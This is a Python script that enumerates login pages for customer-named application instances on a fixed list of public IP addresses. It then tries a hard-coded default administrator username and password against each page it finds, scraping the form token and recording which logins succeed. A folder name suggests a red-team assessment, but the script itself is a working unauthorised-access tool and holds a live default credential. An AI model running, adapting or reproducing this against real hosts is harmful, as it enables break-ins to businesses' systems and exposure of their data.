#!/usr/bin/env python3
import subprocess, re, time, json

ALIVE_IPS = [
    "198.251.74.25", "198.71.52.102", "198.71.63.125", "216.250.118.44",
    "66.175.236.165", "66.175.236.86", "66.175.238.112",
    "74.208.137.94", "74.208.168.173", "74.208.223.136",
    "74.208.42.177", "74.208.53.28", "74.208.82.141", "74.208.83.171",
]

# Top 30 most likely paths (from Jenkins console + known patterns)
APP_PATHS = sorted(set([
    "CHERRYENERGYUAP1", "CherryEnergyUAP1", "2210CherryEnergyUAP1", "2210CherryEnergyUAP2",
    "BERRYOILUAP", "2220STROHFARMUAP",
    "2210DAVISOILUAP", "222MCPUAPAP", "222MCPUAPAR1",
    "RTROGERSUAP1", "RTROGERSUAP3", "2610RTROGERSUAP1", "RTROGERSMBIL",
    "PurelyCanadaUAP1", "EKATERRAUAP2",
    "DALLMYRUAP", "VICTRONUAP", "CITYMARTUAP", "CITYMARTUAPSINGLE", "CITYMARTUAPBLENDED",
    "2210CRTEXAS", "2430PALMDALEOILUAPSGD", "palmdale_nvone_prod_24_35_0616_182",
    "2510SCHAFERPROPANEUAP", "ITHACAUAP", "2210HUNTLEYOILUAP",
    "JMREYNOLDSUAP", "NEWTONUAPMBIL1", "CASSUAP1A", "CASSUAP4",
    "2210JWPERKINSUAP1", "JohnsonJunctionUAP01", "HuelsOilUAP1",
    "CHERRYENERGYUAP01", "PALMDALEOILUAP01", "PIGOTTOILUAP01",
    "2610BERRYOILUAP01", "2610JOHNSONPETROLEUMUAP01",
    "2710PALMDALEOILUAP01", "2610CHERRYENERGYUAP01",
]))

results = {}
login_results = []

for ip in ALIVE_IPS:
    found = []
    for path in APP_PATHS:
        try:
            r = subprocess.run([
                "curl", "-sS", "-m", "5", "-o", "/dev/null",
                "-w", "%{http_code}", f"http://{ip}/{path}/login"
            ], capture_output=True, text=True, timeout=8)
            status = r.stdout.strip()
            if status == "200":
                found.append(path)
                print(f"{ip} /{path}/login → 200 ✅", flush=True)
            elif status == "302":
                found.append(path)
                print(f"{ip} /{path}/login → 302 ⚠️", flush=True)
        except:
            pass
        time.sleep(0.3)
    results[ip] = found
    if not found:
        print(f"{ip} — no i21 paths found", flush=True)
    time.sleep(2)

# Login attempts on found pages
print("\n=== LOGIN ATTEMPTS ===", flush=True)
for ip, paths in results.items():
    for path in paths:
        try:
            # GET login
            r1 = subprocess.run(["curl","-sS","-m","10","-c",f"/tmp/la.txt","-o",f"/tmp/lp.txt","-w","%{http_code}",f"http://{ip}/{path}/login"], capture_output=True, text=True, timeout=15)
            if r1.stdout.strip() != "200": continue
            page = open("/tmp/lp.txt").read()
            tm = re.search(r'name="__RequestVerificationToken"[^>]*value="([^"]*)"', page)
            if not tm: continue
            token = tm.group(1)
            time.sleep(2)
            # POST
            r2 = subprocess.run(["curl","-sS","-m","10","-D","/tmp/lh.txt","-o","/dev/null","-w","%{http_code}","-b","/tmp/la.txt","-X","POST",f"http://{ip}/{path}/login","-H","Content-Type: application/x-www-form-urlencoded","-d",f"__RequestVerificationToken={token}&Email=irelyadmin&Password=i21By2015&Company=01&RememberMe=false&Concurrency=&CompanyPrefConcurrency=&UserPrefConcurrency=&Debug=False&Hash="], capture_output=True, text=True, timeout=15)
            rh = open("/tmp/lh.txt").read()
            loc = ""
            ac = ""
            for line in rh.split("\n"):
                if line.lower().startswith("location:"): loc = line.split(":",1)[1].strip()
                if "Identity.Application" in line or "ApplicationCookie" in line: ac = "AUTH_COOKIE"
            ps = r2.stdout.strip()
            if ps == "302" and "/login" not in loc:
                print(f"✅ {ip:20s} /{path}/login → AUTH SUCCESS ({loc[:30]}) {ac}", flush=True)
                login_results.append({"ip":ip,"path":path,"result":"SUCCESS"})
            elif ps == "302" and "/login" in loc:
                print(f"❌ {ip:20s} /{path}/login → AUTH FAIL", flush=True)
                login_results.append({"ip":ip,"path":path,"result":"FAIL"})
            else:
                print(f"?  {ip:20s} /{path}/login → HTTP {ps}", flush=True)
                login_results.append({"ip":ip,"path":path,"result":f"HTTP_{ps}"})
            time.sleep(5)
        except Exception as e:
            print(f"ERR {ip} /{path}: {e}", flush=True)

ok = sum(1 for r in login_results if r["result"]=="SUCCESS")
print(f"\n=== FINAL: {ok}/{len(login_results)} AUTH SUCCESS ===", flush=True)
with open("/root/ir-assessment/redteam/irelydata/schema_inventory/path_discovery_results.json","w") as f:
    json.dump({"paths":results,"auth":login_results}, f, indent=2)
print("Saved to path_discovery_results.json", flush=True)
